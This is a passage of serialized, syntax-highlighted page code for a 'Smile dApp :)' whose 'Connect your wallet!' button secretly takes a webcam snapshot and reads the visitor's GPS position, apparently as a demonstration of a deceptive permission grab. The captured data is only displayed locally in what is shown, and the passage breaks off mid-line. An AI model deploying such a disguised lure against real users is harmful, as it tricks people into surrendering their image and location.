charset",{"type":23,"tag":504,"props":158812,"children":158813},{"style":5058},[158814],{"type":29,"value":546},{"type":23,"tag":504,"props":158816,"children":158817},{"style":6297},[158818],{"type":29,"value":158819},"\"utf-8\"",{"type":23,"tag":504,"props":158821,"children":158822},{"style":34431},[158823],{"type":29,"value":8038},{"type":23,"tag":504,"props":158825,"children":158826},{"class":5016,"line":5203},[158827,158831,158835,158839,158843],{"type":23,"tag":504,"props":158828,"children":158829},{"style":34431},[158830],{"type":29,"value":34501},{"type":23,"tag":504,"props":158832,"children":158833},{"style":5030},[158834],{"type":29,"value":36359},{"type":23,"tag":504,"props":158836,"children":158837},{"style":34431},[158838],{"type":29,"value":52129},{"type":23,"tag":504,"props":158840,"children":158841},{"style":5030},[158842],{"type":29,"value":36359},{"type":23,"tag":504,"props":158844,"children":158845},{"style":34431},[158846],{"type":29,"value":8038},{"type":23,"tag":504,"props":158848,"children":158849},{"class":5016,"line":5308},[158850,158854,158858],{"type":23,"tag":504,"props":158851,"children":158852},{"style":34431},[158853],{"type":29,"value":34485},{"type":23,"tag":504,"props":158855,"children":158856},{"style":5030},[158857],{"type":29,"value":158789},{"type":23,"tag":504,"props":158859,"children":158860},{"style":34431},[158861],{"type":29,"value":8038},{"type":23,"tag":504,"props":158863,"children":158864},{"class":5016,"line":5336},[158865,158869,158873],{"type":23,"tag":504,"props":158866,"children":158867},{"style":34431},[158868],{"type":29,"value":2658},{"type":23,"tag":504,"props":158870,"children":158871},{"style":5030},[158872],{"type":29,"value":34455},{"type":23,"tag":504,"props":158874,"children":158875},{"style":34431},[158876],{"type":29,"value":8038},{"type":23,"tag":504,"props":158878,"children":158879},{"class":5016,"line":5349},[158880,158884,158888,158892,158897,158901,158905],{"type":23,"tag":504,"props":158881,"children":158882},{"style":34431},[158883],{"type":29,"value":34501},{"type":23,"tag":504,"props":158885,"children":158886},{"style":5030},[158887],{"type":29,"value":24},{"type":23,"tag":504,"props":158889,"children":158890},{"style":34431},[158891],{"type":29,"value":12508},{"type":23,"tag":504,"props":158893,"children":158894},{"style":5058},[158895],{"type":29,"value":158896},"Smile dApp :)",{"type":23,"tag":504,"props":158898,"children":158899},{"style":34431},[158900],{"type":29,"value":34485},{"type":23,"tag":504,"props":158902,"children":158903},{"style":5030},[158904],{"type":29,"value":24},{"type":23,"tag":504,"props":158906,"children":158907},{"style":34431},[158908],{"type":29,"value":8038},{"type":23,"tag":504,"props":158910,"children":158911},{"class":5016,"line":5367},[158912,158916,158921,158925,158929,158934,158938,158943,158947,158951],{"type":23,"tag":504,"props":158913,"children":158914},{"style":34431},[158915],{"type":29,"value":34501},{"type":23,"tag":504,"props":158917,"children":158918},{"style":5030},[158919],{"type":29,"value":158920},"button",{"type":23,"tag":504,"props":158922,"children":158923},{"style":5041},[158924],{"type":29,"value":34511},{"type":23,"tag":504,"props":158926,"children":158927},{"style":5058},[158928],{"type":29,"value":546},{"type":23,"tag":504,"props":158930,"children":158931},{"style":6297},[158932],{"type":29,"value":158933},"\"connect\"",{"type":23,"tag":504,"props":158935,"children":158936},{"style":34431},[158937],{"type":29,"value":12508},{"type":23,"tag":504,"props":158939,"children":158940},{"style":5058},[158941],{"type":29,"value":158942},"Connect your wallet!",{"type":23,"tag":504,"props":158944,"children":158945},{"style":34431},[158946],{"type":29,"value":34485},{"type":23,"tag":504,"props":158948,"children":158949},{"style":5030},[158950],{"type":29,"value":158920},{"type":23,"tag":504,"props":158952,"children":158953},{"style":34431},[158954],{"type":29,"value":8038},{"type":23,"tag":504,"props":158956,"children":158957},{"class":5016,"line":5388},[158958,158962,158966,158970,158974,158979,158983,158987],{"type":23,"tag":504,"props":158959,"children":158960},{"style":34431},[158961],{"type":29,"value":34501},{"type":23,"tag":504,"props":158963,"children":158964},{"style":5030},[158965],{"type":29,"value":4743},{"type":23,"tag":504,"props":158967,"children":158968},{"style":5041},[158969],{"type":29,"value":34511},{"type":23,"tag":504,"props":158971,"children":158972},{"style":5058},[158973],{"type":29,"value":546},{"type":23,"tag":504,"props":158975,"children":158976},{"style":6297},[158977],{"type":29,"value":158978},"\"gps\"",{"type":23,"tag":504,"props":158980,"children":158981},{"style":34431},[158982],{"type":29,"value":52129},{"type":23,"tag":504,"props":158984,"children":158985},{"style":5030},[158986],{"type":29,"value":4743},{"type":23,"tag":504,"props":158988,"children":158989},{"style":34431},[158990],{"type":29,"value":8038},{"type":23,"tag":504,"props":158992,"children":158993},{"class":5016,"line":5397},[158994,158998,159002,159006,159010,159015],{"type":23,"tag":504,"props":158995,"children":158996},{"style":34431},[158997],{"type":29,"value":34501},{"type":23,"tag":504,"props":158999,"children":159000},{"style":5030},[159001],{"type":29,"value":199},{"type":23,"tag":504,"props":159003,"children":159004},{"style":5041},[159005],{"type":29,"value":34511},{"type":23,"tag":504,"props":159007,"children":159008},{"style":5058},[159009],{"type":29,"value":546},{"type":23,"tag":504,"props":159011,"children":159012},{"style":6297},[159013],{"type":29,"value":159014},"\"pic\"",{"type":23,"tag":504,"props":159016,"children":159017},{"style":34431},[159018],{"type":29,"value":8038},{"type":23,"tag":504,"props":159020,"children":159021},{"class":5016,"line":5649},[159022,159026,159030],{"type":23,"tag":504,"props":159023,"children":159024},{"style":34431},[159025],{"type":29,"value":34501},{"type":23,"tag":504,"props":159027,"children":159028},{"style":5030},[159029],{"type":29,"value":34471},{"type":23,"tag":504,"props":159031,"children":159032},{"style":34431},[159033],{"type":29,"value":8038},{"type":23,"tag":504,"props":159035,"children":159036},{"class":5016,"line":5666},[159037,159042,159046,159051,159055,159060,159064,159068,159072,159076],{"type":23,"tag":504,"props":159038,"children":159039},{"style":5041},[159040],{"type":29,"value":159041},"        window",{"type":23,"tag":504,"props":159043,"children":159044},{"style":5047},[159045],{"type":29,"value":357},{"type":23,"tag":504,"props":159047,"children":159048},{"style":5139},[159049],{"type":29,"value":159050},"addEventListener",{"type":23,"tag":504,"props":159052,"children":159053},{"style":5047},[159054],{"type":29,"value":603},{"type":23,"tag":504,"props":159056,"children":159057},{"style":6297},[159058],{"type":29,"value":159059},"'unhandledrejection'",{"type":23,"tag":504,"props":159061,"children":159062},{"style":5047},[159063],{"type":29,"value":4367},{"type":23,"tag":504,"props":159065,"children":159066},{"style":5030},[159067],{"type":29,"value":33432},{"type":23,"tag":504,"props":159069,"children":159070},{"style":5047},[159071],{"type":29,"value":5110},{"type":23,"tag":504,"props":159073,"children":159074},{"style":5041},[159075],{"type":29,"value":84192},{"type":23,"tag":504,"props":159077,"children":159078},{"style":5047},[159079],{"type":29,"value":16850},{"type":23,"tag":504,"props":159081,"children":159082},{"class":5016,"line":5683},[159083,159088,159092,159097,159101,159105,159109,159114,159118,159122],{"type":23,"tag":504,"props":159084,"children":159085},{"style":5139},[159086],{"type":29,"value":159087},"            alert",{"type":23,"tag":504,"props":159089,"children":159090},{"style":5047},[159091],{"type":29,"value":603},{"type":23,"tag":504,"props":159093,"children":159094},{"style":6297},[159095],{"type":29,"value":159096},"`Unhandled Promise Rejection: ",{"type":23,"tag":504,"props":159098,"children":159099},{"style":5030},[159100],{"type":29,"value":36164},{"type":23,"tag":504,"props":159102,"children":159103},{"style":5041},[159104],{"type":29,"value":84192},{"type":23,"tag":504,"props":159106,"children":159107},{"style":5047},[159108],{"type":29,"value":357},{"type":23,"tag":504,"props":159110,"children":159111},{"style":5041},[159112],{"type":29,"value":159113},"reason",{"type":23,"tag":504,"props":159115,"children":159116},{"style":5030},[159117],{"type":29,"value":36196},{"type":23,"tag":504,"props":159119,"children":159120},{"style":6297},[159121],{"type":29,"value":12428},{"type":23,"tag":504,"props":159123,"children":159124},{"style":5047},[159125],{"type":29,"value":5888},{"type":23,"tag":504,"props":159127,"children":159128},{"class":5016,"line":5696},[159129],{"type":23,"tag":504,"props":159130,"children":159131},{"style":5047},[159132],{"type":29,"value":159133},"        });\n",{"type":23,"tag":504,"props":159135,"children":159136},{"class":5016,"line":5705},[159137,159141,159145,159149,159153,159157,159161,159165,159169,159173,159177,159181,159185,159190,159194,159198],{"type":23,"tag":504,"props":159138,"children":159139},{"style":5041},[159140],{"type":29,"value":159041},{"type":23,"tag":504,"props":159142,"children":159143},{"style":5047},[159144],{"type":29,"value":357},{"type":23,"tag":504,"props":159146,"children":159147},{"style":5139},[159148],{"type":29,"value":34744},{"type":23,"tag":504,"props":159150,"children":159151},{"style":5047},[159152],{"type":29,"value":34967},{"type":23,"tag":504,"props":159154,"children":159155},{"style":5030},[159156],{"type":29,"value":33432},{"type":23,"tag":504,"props":159158,"children":159159},{"style":5047},[159160],{"type":29,"value":5110},{"type":23,"tag":504,"props":159162,"children":159163},{"style":5041},[159164],{"type":29,"value":60007},{"type":23,"tag":504,"props":159166,"children":159167},{"style":5047},[159168],{"type":29,"value":4367},{"type":23,"tag":504,"props":159170,"children":159171},{"style":5041},[159172],{"type":29,"value":72441},{"type":23,"tag":504,"props":159174,"children":159175},{"style":5047},[159176],{"type":29,"value":4367},{"type":23,"tag":504,"props":159178,"children":159179},{"style":5041},[159180],{"type":29,"value":5016},{"type":23,"tag":504,"props":159182,"children":159183},{"style":5047},[159184],{"type":29,"value":4367},{"type":23,"tag":504,"props":159186,"children":159187},{"style":5041},[159188],{"type":29,"value":159189},"col",{"type":23,"tag":504,"props":159191,"children":159192},{"style":5047},[159193],{"type":29,"value":4367},{"type":23,"tag":504,"props":159195,"children":159196},{"style":5041},[159197],{"type":29,"value":16910},{"type":23,"tag":504,"props":159199,"children":159200},{"style":5047},[159201],{"type":29,"value":16850},{"type":23,"tag":504,"props":159203,"children":159204},{"class":5016,"line":5728},[159205,159209,159213,159218,159222,159226],{"type":23,"tag":504,"props":159206,"children":159207},{"style":5139},[159208],{"type":29,"value":159087},{"type":23,"tag":504,"props":159210,"children":159211},{"style":5047},[159212],{"type":29,"value":603},{"type":23,"tag":504,"props":159214,"children":159215},{"style":6297},[159216],{"type":29,"value":159217},"'onerror: '",{"type":23,"tag":504,"props":159219,"children":159220},{"style":5047},[159221],{"type":29,"value":36752},{"type":23,"tag":504,"props":159223,"children":159224},{"style":5041},[159225],{"type":29,"value":60007},{"type":23,"tag":504,"props":159227,"children":159228},{"style":5047},[159229],{"type":29,"value":5888},{"type":23,"tag":504,"props":159231,"children":159232},{"class":5016,"line":5737},[159233,159237,159241],{"type":23,"tag":504,"props":159234,"children":159235},{"style":5067},[159236],{"type":29,"value":81140},{"type":23,"tag":504,"props":159238,"children":159239},{"style":5030},[159240],{"type":29,"value":11104},{"type":23,"tag":504,"props":159242,"children":159243},{"style":5047},[159244],{"type":29,"value":5061},{"type":23,"tag":504,"props":159246,"children":159247},{"class":5016,"line":5746},[159248],{"type":23,"tag":504,"props":159249,"children":159250},{"style":5047},[159251],{"type":29,"value":159252},"        };\n",{"type":23,"tag":504,"props":159254,"children":159255},{"class":5016,"line":5813},[159256],{"type":23,"tag":504,"props":159257,"children":159258},{"emptyLinePlaceholder":15},[159259],{"type":29,"value":5734},{"type":23,"tag":504,"props":159261,"children":159262},{"class":5016,"line":5821},[159263,159268,159272,159276],{"type":23,"tag":504,"props":159264,"children":159265},{"style":5030},[159266],{"type":29,"value":159267},"        async",{"type":23,"tag":504,"props":159269,"children":159270},{"style":5030},[159271],{"type":29,"value":40270},{"type":23,"tag":504,"props":159273,"children":159274},{"style":5139},[159275],{"type":29,"value":92842},{"type":23,"tag":504,"props":159277,"children":159278},{"style":5047},[159279],{"type":29,"value":17783},{"type":23,"tag":504,"props":159281,"children":159282},{"class":5016,"line":5851},[159283,159287,159292,159296,159300,159305,159309,159314,159318,159323,159327,159332,159336],{"type":23,"tag":504,"props":159284,"children":159285},{"style":5030},[159286],{"type":29,"value":152813},{"type":23,"tag":504,"props":159288,"children":159289},{"style":5041},[159290],{"type":29,"value":159291}," stream",{"type":23,"tag":504,"props":159293,"children":159294},{"style":5047},[159295],{"type":29,"value":34967},{"type":23,"tag":504,"props":159297,"children":159298},{"style":5067},[159299],{"type":29,"value":34972},{"type":23,"tag":504,"props":159301,"children":159302},{"style":5041},[159303],{"type":29,"value":159304}," navigator",{"type":23,"tag":504,"props":159306,"children":159307},{"style":5047},[159308],{"type":29,"value":357},{"type":23,"tag":504,"props":159310,"children":159311},{"style":5041},[159312],{"type":29,"value":159313},"mediaDevices",{"type":23,"tag":504,"props":159315,"children":159316},{"style":5047},[159317],{"type":29,"value":357},{"type":23,"tag":504,"props":159319,"children":159320},{"style":5139},[159321],{"type":29,"value":159322},"getUserMedia",{"type":23,"tag":504,"props":159324,"children":159325},{"style":5047},[159326],{"type":29,"value":33553},{"type":23,"tag":504,"props":159328,"children":159329},{"style":5041},[159330],{"type":29,"value":159331},"video:",{"type":23,"tag":504,"props":159333,"children":159334},{"style":5030},[159335],{"type":29,"value":14515},{"type":23,"tag":504,"props":159337,"children":159338},{"style":5047},[159339],{"type":29,"value":40891},{"type":23,"tag":504,"props":159341,"children":159342},{"class":5016,"line":5859},[159343,159347,159352,159356,159360,159364,159368,159372,159377],{"type":23,"tag":504,"props":159344,"children":159345},{"style":5030},[159346],{"type":29,"value":152813},{"type":23,"tag":504,"props":159348,"children":159349},{"style":5041},[159350],{"type":29,"value":159351}," video",{"type":23,"tag":504,"props":159353,"children":159354},{"style":5047},[159355],{"type":29,"value":34967},{"type":23,"tag":504,"props":159357,"children":159358},{"style":5041},[159359],{"type":29,"value":34763},{"type":23,"tag":504,"props":159361,"children":159362},{"style":5047},[159363],{"type":29,"value":357},{"type":23,"tag":504,"props":159365,"children":159366},{"style":5139},[159367],{"type":29,"value":38778},{"type":23,"tag":504,"props":159369,"children":159370},{"style":5047},[159371],{"type":29,"value":603},{"type":23,"tag":504,"props":159373,"children":159374},{"style":6297},[159375],{"type":29,"value":159376},"\"video\"",{"type":23,"tag":504,"props":159378,"children":159379},{"style":5047},[159380],{"type":29,"value":5888},{"type":23,"tag":504,"props":159382,"children":159383},{"class":5016,"line":5891},[159384,159389,159393,159398,159402,159406],{"type":23,"tag":504,"props":159385,"children":159386},{"style":5041},[159387],{"type":29,"value":159388},"            video",{"type":23,"tag":504,"props":159390,"children":159391},{"style":5047},[159392],{"type":29,"value":357},{"type":23,"tag":504,"props":159394,"children":159395},{"style":5041},[159396],{"type":29,"value":159397},"srcObject",{"type":23,"tag":504,"props":159399,"children":159400},{"style":5047},[159401],{"type":29,"value":34967},{"type":23,"tag":504,"props":159403,"children":159404},{"style":5041},[159405],{"type":29,"value":38318},{"type":23,"tag":504,"props":159407,"children":159408},{"style":5047},[159409],{"type":29,"value":5061},{"type":23,"tag":504,"props":159411,"children":159412},{"class":5016,"line":5899},[159413,159417,159422,159426,159430,159434,159438,159442,159447],{"type":23,"tag":504,"props":159414,"children":159415},{"style":5030},[159416],{"type":29,"value":152813},{"type":23,"tag":504,"props":159418,"children":159419},{"style":5041},[159420],{"type":29,"value":159421}," canvas",{"type":23,"tag":504,"props":159423,"children":159424},{"style":5047},[159425],{"type":29,"value":34967},{"type":23,"tag":504,"props":159427,"children":159428},{"style":5041},[159429],{"type":29,"value":34763},{"type":23,"tag":504,"props":159431,"children":159432},{"style":5047},[159433],{"type":29,"value":357},{"type":23,"tag":504,"props":159435,"children":159436},{"style":5139},[159437],{"type":29,"value":38778},{"type":23,"tag":504,"props":159439,"children":159440},{"style":5047},[159441],{"type":29,"value":603},{"type":23,"tag":504,"props":159443,"children":159444},{"style":6297},[159445],{"type":29,"value":159446},"\"canvas\"",{"type":23,"tag":504,"props":159448,"children":159449},{"style":5047},[159450],{"type":29,"value":5888},{"type":23,"tag":504,"props":159452,"children":159453},{"class":5016,"line":5959},[159454],{"type":23,"tag":504,"props":159455,"children":159456},{"emptyLinePlaceholder":15},[159457],{"type":29,"value":5734},{"type":23,"tag":504,"props":159459,"children":159460},{"class":5016,"line":11093},[159461,159465,159469,159474,159479,159483],{"type":23,"tag":504,"props":159462,"children":159463},{"style":5041},[159464],{"type":29,"value":159388},{"type":23,"tag":504,"props":159466,"children":159467},{"style":5047},[159468],{"type":29,"value":357},{"type":23,"tag":504,"props":159470,"children":159471},{"style":5139},[159472],{"type":29,"value":159473},"onloadedmetadata",{"type":23,"tag":504,"props":159475,"children":159476},{"style":5047},[159477],{"type":29,"value":159478}," = () ",{"type":23,"tag":504,"props":159480,"children":159481},{"style":5030},[159482],{"type":29,"value":16868},{"type":23,"tag":504,"props":159484,"children":159485},{"style":5047},[159486],{"type":29,"value":5333},{"type":23,"tag":504,"props":159488,"children":159489},{"class":5016,"line":11111},[159490,159495,159499,159504,159508,159512,159516,159521],{"type":23,"tag":504,"props":159491,"children":159492},{"style":5041},[159493],{"type":29,"value":159494},"                canvas",{"type":23,"tag":504,"props":159496,"children":159497},{"style":5047},[159498],{"type":29,"value":357},{"type":23,"tag":504,"props":159500,"children":159501},{"style":5041},[159502],{"type":29,"value":159503},"width",{"type":23,"tag":504,"props":159505,"children":159506},{"style":5047},[159507],{"type":29,"value":34967},{"type":23,"tag":504,"props":159509,"children":159510},{"style":5041},[159511],{"type":29,"value":133637},{"type":23,"tag":504,"props":159513,"children":159514},{"style":5047},[159515],{"type":29,"value":357},{"type":23,"tag":504,"props":159517,"children":159518},{"style":5041},[159519],{"type":29,"value":159520},"videoWidth",{"type":23,"tag":504,"props":159522,"children":159523},{"style":5047},[159524],{"type":29,"value":5061},{"type":23,"tag":504,"props":159526,"children":159527},{"class":5016,"line":11156},[159528,159532,159536,159541,159545,159549,159553,159558],{"type":23,"tag":504,"props":159529,"children":159530},{"style":5041},[159531],{"type":29,"value":159494},{"type":23,"tag":504,"props":159533,"children":159534},{"style":5047},[159535],{"type":29,"value":357},{"type":23,"tag":504,"props":159537,"children":159538},{"style":5041},[159539],{"type":29,"value":159540},"height",{"type":23,"tag":504,"props":159542,"children":159543},{"style":5047},[159544],{"type":29,"value":34967},{"type":23,"tag":504,"props":159546,"children":159547},{"style":5041},[159548],{"type":29,"value":133637},{"type":23,"tag":504,"props":159550,"children":159551},{"style":5047},[159552],{"type":29,"value":357},{"type":23,"tag":504,"props":159554,"children":159555},{"style":5041},[159556],{"type":29,"value":159557},"videoHeight",{"type":23,"tag":504,"props":159559,"children":159560},{"style":5047},[159561],{"type":29,"value":5061},{"type":23,"tag":504,"props":159563,"children":159564},{"class":5016,"line":11262},[159565],{"type":23,"tag":504,"props":159566,"children":159567},{"style":5047},[159568],{"type":29,"value":50137},{"type":23,"tag":504,"props":159570,"children":159571},{"class":5016,"line":25550},[159572],{"type":23,"tag":504,"props":159573,"children":159574},{"emptyLinePlaceholder":15},[159575],{"type":29,"value":5734},{"type":23,"tag":504,"props":159577,"children":159578},{"class":5016,"line":25585},[159579,159584,159588,159593,159597,159601,159605],{"type":23,"tag":504,"props":159580,"children":159581},{"style":5041},[159582],{"type":29,"value":159583},"            connect",{"type":23,"tag":504,"props":159585,"children":159586},{"style":5047},[159587],{"type":29,"value":357},{"type":23,"tag":504,"props":159589,"children":159590},{"style":5139},[159591],{"type":29,"value":159592},"onclick",{"type":23,"tag":504,"props":159594,"children":159595},{"style":5047},[159596],{"type":29,"value":34967},{"type":23,"tag":504,"props":159598,"children":159599},{"style":5041},[159600],{"type":29,"value":1132},{"type":23,"tag":504,"props":159602,"children":159603},{"style":5030},[159604],{"type":29,"value":29806},{"type":23,"tag":504,"props":159606,"children":159607},{"style":5047},[159608],{"type":29,"value":5333},{"type":23,"tag":504,"props":159610,"children":159611},{"class":5016,"line":25593},[159612,159617,159621,159626],{"type":23,"tag":504,"props":159613,"children":159614},{"style":5041},[159615],{"type":29,"value":159616},"                video",{"type":23,"tag":504,"props":159618,"children":159619},{"style":5047},[159620],{"type":29,"value":357},{"type":23,"tag":504,"props":159622,"children":159623},{"style":5139},[159624],{"type":29,"value":159625},"play",{"type":23,"tag":504,"props":159627,"children":159628},{"style":5047},[159629],{"type":29,"value":5725},{"type":23,"tag":504,"props":159631,"children":159632},{"class":5016,"line":25601},[159633],{"type":23,"tag":504,"props":159634,"children":159635},{"emptyLinePlaceholder":15},[159636],{"type":29,"value":5734},{"type":23,"tag":504,"props":159638,"children":159639},{"class":5016,"line":25610},[159640,159644,159648,159653,159657,159662,159666,159671,159675,159679,159683,159687,159691,159695],{"type":23,"tag":504,"props":159641,"children":159642},{"style":5041},[159643],{"type":29,"value":159494},{"type":23,"tag":504,"props":159645,"children":159646},{"style":5047},[159647],{"type":29,"value":357},{"type":23,"tag":504,"props":159649,"children":159650},{"style":5139},[159651],{"type":29,"value":159652},"getContext",{"type":23,"tag":504,"props":159654,"children":159655},{"style":5047},[159656],{"type":29,"value":603},{"type":23,"tag":504,"props":159658,"children":159659},{"style":6297},[159660],{"type":29,"value":159661},"\"2d\"",{"type":23,"tag":504,"props":159663,"children":159664},{"style":5047},[159665],{"type":29,"value":161},{"type":23,"tag":504,"props":159667,"children":159668},{"style":5139},[159669],{"type":29,"value":159670},"drawImage",{"type":23,"tag":504,"props":159672,"children":159673},{"style":5047},[159674],{"type":29,"value":603},{"type":23,"tag":504,"props":159676,"children":159677},{"style":5041},[159678],{"type":29,"value":133637},{"type":23,"tag":504,"props":159680,"children":159681},{"style":5047},[159682],{"type":29,"value":4367},{"type":23,"tag":504,"props":159684,"children":159685},{"style":5083},[159686],{"type":29,"value":708},{"type":23,"tag":504,"props":159688,"children":159689},{"style":5047},[159690],{"type":29,"value":4367},{"type":23,"tag":504,"props":159692,"children":159693},{"style":5083},[159694],{"type":29,"value":708},{"type":23,"tag":504,"props":159696,"children":159697},{"style":5047},[159698],{"type":29,"value":5888},{"type":23,"tag":504,"props":159700,"children":159701},{"class":5016,"line":25652},[159702,159707,159711,159716,159720,159725,159729,159733,159737,159742,159746,159751],{"type":23,"tag":504,"props":159703,"children":159704},{"style":5041},[159705],{"type":29,"value":159706},"                stream",{"type":23,"tag":504,"props":159708,"children":159709},{"style":5047},[159710],{"type":29,"value":357},{"type":23,"tag":504,"props":159712,"children":159713},{"style":5139},[159714],{"type":29,"value":159715},"getTracks",{"type":23,"tag":504,"props":159717,"children":159718},{"style":5047},[159719],{"type":29,"value":32223},{"type":23,"tag":504,"props":159721,"children":159722},{"style":5139},[159723],{"type":29,"value":159724},"forEach",{"type":23,"tag":504,"props":159726,"children":159727},{"style":5047},[159728],{"type":29,"value":603},{"type":23,"tag":504,"props":159730,"children":159731},{"style":5041},[159732],{"type":29,"value":620},{"type":23,"tag":504,"props":159734,"children":159735},{"style":5030},[159736],{"type":29,"value":29806},{"type":23,"tag":504,"props":159738,"children":159739},{"style":5041},[159740],{"type":29,"value":159741}," t",{"type":23,"tag":504,"props":159743,"children":159744},{"style":5047},[159745],{"type":29,"value":357},{"type":23,"tag":504,"props":159747,"children":159748},{"style":5139},[159749],{"type":29,"value":159750},"stop",{"type":23,"tag":504,"props":159752,"children":159753},{"style":5047},[159754],{"type":29,"value":17471},{"type":23,"tag":504,"props":159756,"children":159757},{"class":5016,"line":25685},[159758,159762,159766,159771,159775,159779,159783,159787],{"type":23,"tag":504,"props":159759,"children":159760},{"style":5041},[159761],{"type":29,"value":159494},{"type":23,"tag":504,"props":159763,"children":159764},{"style":5047},[159765],{"type":29,"value":357},{"type":23,"tag":504,"props":159767,"children":159768},{"style":5139},[159769],{"type":29,"value":159770},"toBlob",{"type":23,"tag":504,"props":159772,"children":159773},{"style":5047},[159774],{"type":29,"value":33578},{"type":23,"tag":504,"props":159776,"children":159777},{"style":5041},[159778],{"type":29,"value":35004},{"type":23,"tag":504,"props":159780,"children":159781},{"style":5047},[159782],{"type":29,"value":5128},{"type":23,"tag":504,"props":159784,"children":159785},{"style":5030},[159786],{"type":29,"value":16868},{"type":23,"tag":504,"props":159788,"children":159789},{"style":5047},[159790],{"type":29,"value":5333},{"type":23,"tag":504,"props":159792,"children":159793},{"class":5016,"line":25693},[159794,159799,159803,159807,159811,159816,159820,159825,159829,159833],{"type":23,"tag":504,"props":159795,"children":159796},{"style":5041},[159797],{"type":29,"value":159798},"                    pic",{"type":23,"tag":504,"props":159800,"children":159801},{"style":5047},[159802],{"type":29,"value":357},{"type":23,"tag":504,"props":159804,"children":159805},{"style":5041},[159806],{"type":29,"value":34725},{"type":23,"tag":504,"props":159808,"children":159809},{"style":5047},[159810],{"type":29,"value":34967},{"type":23,"tag":504,"props":159812,"children":159813},{"style":5041},[159814],{"type":29,"value":159815},"URL",{"type":23,"tag":504,"props":159817,"children":159818},{"style":5047},[159819],{"type":29,"value":357},{"type":23,"tag":504,"props":159821,"children":159822},{"style":5139},[159823],{"type":29,"value":159824},"createObjectURL",{"type":23,"tag":504,"props":159826,"children":159827},{"style":5047},[159828],{"type":29,"value":603},{"type":23,"tag":504,"props":159830,"children":159831},{"style":5041},[159832],{"type":29,"value":35004},{"type":23,"tag":504,"props":159834,"children":159835},{"style":5047},[159836],{"type":29,"value":5888},{"type":23,"tag":504,"props":159838,"children":159839},{"class":5016,"line":25701},[159840],{"type":23,"tag":504,"props":159841,"children":159842},{"style":5047},[159843],{"type":29,"value":159844},"                });\n",{"type":23,"tag":504,"props":159846,"children":159847},{"class":5016,"line":25710},[159848],{"type":23,"tag":504,"props":159849,"children":159850},{"emptyLinePlaceholder":15},[159851],{"type":29,"value":5734},{"type":23,"tag":504,"props":159853,"children":159854},{"class":5016,"line":25786},[159855,159860,159864,159869,159873,159878,159882,159887,159891],{"type":23,"tag":504,"props":159856,"children":159857},{"style":5041},[159858],{"type":29,"value":159859},"                navigator",{"type":23,"tag":504,"props":159861,"children":159862},{"style":5047},[159863],{"type":29,"value":357},{"type":23,"tag":504,"props":159865,"children":159866},{"style":5041},[159867],{"type":29,"value":159868},"geolocation",{"type":23,"tag":504,"props":159870,"children":159871},{"style":5047},[159872],{"type":29,"value":357},{"type":23,"tag":504,"props":159874,"children":159875},{"style":5139},[159876],{"type":29,"value":159877},"getCurrentPosition",{"type":23,"tag":504,"props":159879,"children":159880},{"style":5047},[159881],{"type":29,"value":603},{"type":23,"tag":504,"props":159883,"children":159884},{"style":5041},[159885],{"type":29,"value":159886},"pos",{"type":23,"tag":504,"props":159888,"children":159889},{"style":5030},[159890],{"type":29,"value":29806},{"type":23,"tag":504,"props":159892,"children":159893},{"style":5047},[159894],{"type":29,"value":5333},{"type":23,"tag":504,"props":159896,"children":159897},{"class":5016,"line":25819},[159898,159903,159907,159911,159915,159919,159924],{"type":23,"tag":504,"props":159899,"children":159900},{"style":5030},[159901],{"type":29,"value":159902},"                    const",{"type":23,"tag":504,"props":159904,"children":159905},{"style":5041},[159906],{"type":29,"value":39502},{"type":23,"tag":504,"props":159908,"children":159909},{"style":5047},[159910],{"type":29,"value":34967},{"type":23,"tag":504,"props":159912,"children":159913},{"style":5041},[159914],{"type":29,"value":159886},{"type":23,"tag":504,"props":159916,"children":159917},{"style":5047},[159918],{"type":29,"value":357},{"type":23,"tag":504,"props":159920,"children":159921},{"style":5041},[159922],{"type":29,"value":159923},"coords",{"type":23,"tag":504,"props":159925,"children":159926},{"style":5047},[159927],{"type":29,"value":5061},{"type":23,"tag":504,"props":159929,"children":159930},{"class":5016,"line":25827},[159931,159936,159940,159944,159948,159953,159957,159961,159965,159970,159974,159979,159983,159987,159991,159995,159999,160004,160008,160012,160016,160021,160025,160029,160033,160037,160041,160045,160049],{"type":23,"tag":504,"props":159932,"children":159933},{"style":5041},[159934],{"type":29,"value":159935},"                    gps",{"type":23,"tag":504,"props":159937,"children":159938},{"style":5047},[159939],{"type":29,"value":357},{"type":23,"tag":504,"props":159941,"children":159942},{"style":5041},[159943],{"type":29,"value":37020},{"type":23,"tag":504,"props":159945,"children":159946},{"style":5047},[159947],{"type":29,"value":34967},{"type":23,"tag":504,"props":159949,"children":159950},{"style":6297},[159951],{"type":29,"value":159952},"`Lat: ",{"type":23,"tag":504,"props":159954,"children":159955},{"style":5030},[159956],{"type":29,"value":36164},{"type":23,"tag":504,"props":159958,"children":159959},{"style":5041},[159960],{"type":29,"value":3110},{"type":23,"tag":504,"props":159962,"children":159963},{"style":5047},[159964],{"type":29,"value":357},{"type":23,"tag":504,"props":159966,"children":159967},{"style":5041},[159968],{"type":29,"value":159969},"latitude",{"type":23,"tag":504,"props":159971,"children":159972},{"style":5047},[159973],{"type":29,"value":357},{"type":23,"tag":504,"props":159975,"children":159976},{"style":5139},[159977],{"type":29,"value":159978},"toFixed",{"type":23,"tag":504,"props":159980,"children":159981},{"style":5047},[159982],{"type":29,"value":603},{"type":23,"tag":504,"props":159984,"children":159985},{"style":5083},[159986],{"type":29,"value":826},{"type":23,"tag":504,"props":159988,"children":159989},{"style":5047},[159990],{"type":29,"value":933},{"type":23,"tag":504,"props":159992,"children":159993},{"style":5030},[159994],{"type":29,"value":36196},{"type":23,"tag":504,"props":159996,"children":159997},{"style":50436},[159998],{"type":29,"value":50439},{"type":23,"tag":504,"props":160000,"children":160001},{"style":6297},[160002],{"type":29,"value":160003},"Lon: 